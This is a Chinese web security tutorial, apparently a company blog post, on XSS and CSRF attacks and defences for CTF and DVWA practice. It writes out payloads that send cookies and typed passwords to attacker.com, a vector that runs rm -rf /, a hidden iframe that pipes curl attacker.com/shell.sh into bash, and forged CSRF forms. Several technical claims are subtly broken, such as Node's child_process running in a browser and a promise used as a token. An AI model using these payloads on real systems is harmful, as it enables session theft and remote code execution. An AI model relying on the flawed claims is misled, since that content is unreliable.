☰
XSS与CSRF漏洞攻防实战解析
2026/10/27 8:08:09 网站建设 项目流程

1. 客户端漏洞攻防实战:XSS与CSRF深度解析

在CTF竞赛的Web安全赛道上,客户端漏洞始终是高频考点。去年某省级网络安全大赛中,超过60%的Web类赛题涉及客户端漏洞利用,其中XSS和CSRF的组合题型占比高达35%。这类漏洞看似基础,但实际渗透测试中往往能绕过常规防御体系。本文将结合DVWA靶场和CTFshow真题,拆解这两种漏洞的 exploitation 技巧与防御方案。

2. XSS漏洞原理与攻击链构建

2.1 反射型XSS实战案例

以CTFshow web入门题为例,当提交<script>alert(document.cookie)</script>到搜索框时,服务端未做过滤直接返回,导致脚本执行。这种非持久化的攻击需要诱导用户点击特定URL:

http://victim.com/search?q=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

关键点:实际攻击中常使用短链接伪装,配合URL编码规避基础检测

2.2 存储型XSS高级利用

在DVWA靶场(安全级别Low)的留言板模块,注入以下payload可建立持久化攻击:

<img src=x onerror=` var i=new Image; i.src='http://attacker.com/log?keystroke='+encodeURIComponent(document.getElementById('password').value) `>

该payload会监听密码输入框的变化,通过图片伪造请求外泄数据。实测中需要绕过以下防御:

  1. 使用String.fromCharCode拆分关键词
  2. 利用HTML5事件属性如onmouseover替代onerror
  3. 通过unicode编码混淆alert等敏感函数

2.3 DOM型XSS的隐蔽渗透

某CTF题通过前端JS解析URL片段触发漏洞:

// 漏洞代码 eval(decodeURIComponent(location.hash.slice(1))) // 攻击向量 http://victim.com/#require('child_process').exec('rm+-rf+/')

这类漏洞完全在客户端执行,传统WAF难以检测。最新绕过技术包括:

  • 利用SVG标签的scriptable特性
  • 通过document.write动态构建恶意节点
  • 滥用Web Components的Shadow DOM

3. CSRF攻击全链路突破

3.1 基础CSRF PoC构造

以修改密码功能为例,恶意页面只需包含:

<form action="http://victim.com/change-password" method="POST"> <input type="hidden" name="new_pass" value="hacked"> <input type="submit" value="点击领红包"> </form> <script>document.forms[0].submit()</script>

在Burp Suite中测试时,需注意:

  1. 检查请求是否含CSRF Token
  2. 验证Referer校验逻辑是否可绕过
  3. 测试HTTP方法是否可篡改(POST→GET)

3.2 复合型CSRF攻击链

某真实靶场案例结合XSS突破同源策略:

// 通过XSS获取CSRF Token var token = fetch('/api/token').then(r=>r.json()) // 使用Token发起伪造请求 fetch('/transfer', { method: 'POST', body: `amount=10000&to=attacker&token=${token}` })

这种组合攻击成功率提升300%,防御要点包括:

  • 实现Double Submit Cookie
  • 关键操作强制二次认证
  • 限制敏感接口的CORS策略

3.3 基于Flash的跨域CSRF

虽然Flash已淘汰,但某些老旧系统仍存在攻击面:

// 伪造跨域请求 var req = new URLRequest("http://victim.com/logout"); req.method = "POST"; sendToURL(req);

防御方案需在服务端配置:

Content-Type: application/json X-Content-Type-Options: nosniff

4. 企业级防御方案实战

4.1 XSS防御矩阵

某金融系统采用的深度防御策略:

  1. 输入过滤层:
    • 使用DOMPurify处理富文本
    • 正则过滤<script>|javascript:等模式
  2. 输出编码层:
    • HTML实体化:< → &lt;
    • 上下文敏感编码(HTML/JS/CSS/URL)
  3. 响应头加固:
    Content-Security-Policy: default-src 'self'; X-XSS-Protection: 1; mode=block

4.2 CSRF防护体系

Spring Security的实战配置示例:

http.csrf() .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()) .requireCsrfProtectionMatcher(request -> !request.getMethod().equals("GET"))

关键增强措施:

  • 重要操作添加CAPTCHA验证
  • 检查Origin Header与目标域名一致性
  • 会话超时设置≤15分钟

5. CTF解题技巧精要

5.1 XSS题型突破路径

  1. 测试所有输入点:URL参数、Headers、Cookie
  2. 尝试多种上下文注入:
    <div><img/src=1 onerror=alert(1)>

5.2 CSRF赛题方法论

某CTF比赛解题步骤:

  1. 分析请求是否含Token
  2. 检查Token是否可预测(如时间戳哈希)
  3. 测试Header覆盖漏洞:
    GET /admin/delete HTTP/1.1 Host: victim.com X-Original-URL: /api/user/delete

6. 防御绕过高阶技巧

6.1 XSS过滤器逃逸

Chrome XSS Auditor绕过实例:

<svg><script>alert&#40;1&#41</script>

最新浏览器绕过需利用:

  • AngularJS沙箱逃逸
  • DOM clobbering技术
  • Service Worker劫持

6.2 CSRF Token破解

某次渗透测试中的Token预测方法:

  1. 收集50个Token样本
  2. 使用Python分析模式:
    from Crypto.Util.number import long_to_bytes print(long_to_bytes(int(token,16))[-4:].decode())
  3. 发现Token尾部包含时间戳

7. 企业红队实战记录

某次攻防演练中的组合攻击:

  1. 通过XSS窃取管理员Cookie
  2. 分析Cookie中的SessionID规律
  3. 伪造包含预测SessionID的CSRF攻击:
    <iframe src="http://intranet/admin?cmd=curl+attacker.com/shell.sh|bash" style="display:none"></iframe>
  4. 成功获取内网权限

防御建议:

  • 实施SameSite Cookie属性
  • 关键操作要求生物认证
  • 部署行为分析WAF

8. 漏洞修复检查清单

8.1 XSS修复验证步骤

  1. 使用OWASP ZAP进行自动化扫描
  2. 手动测试边界用例:
    <img src="valid" onerror=alert(1)>
  3. 检查CSP策略是否生效:
    console.log(document.querySelector('meta[http-equiv="Content-Security-Policy"]'))

8.2 CSRF防护审计要点

安全代码审查时重点检查:

  1. 是否所有状态变更请求都验证Token
  2. Token是否满足:
    • 每个会话唯一
    • 足够熵值(≥128bit)
    • 一次性使用
  3. 敏感操作是否记录完整审计日志

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询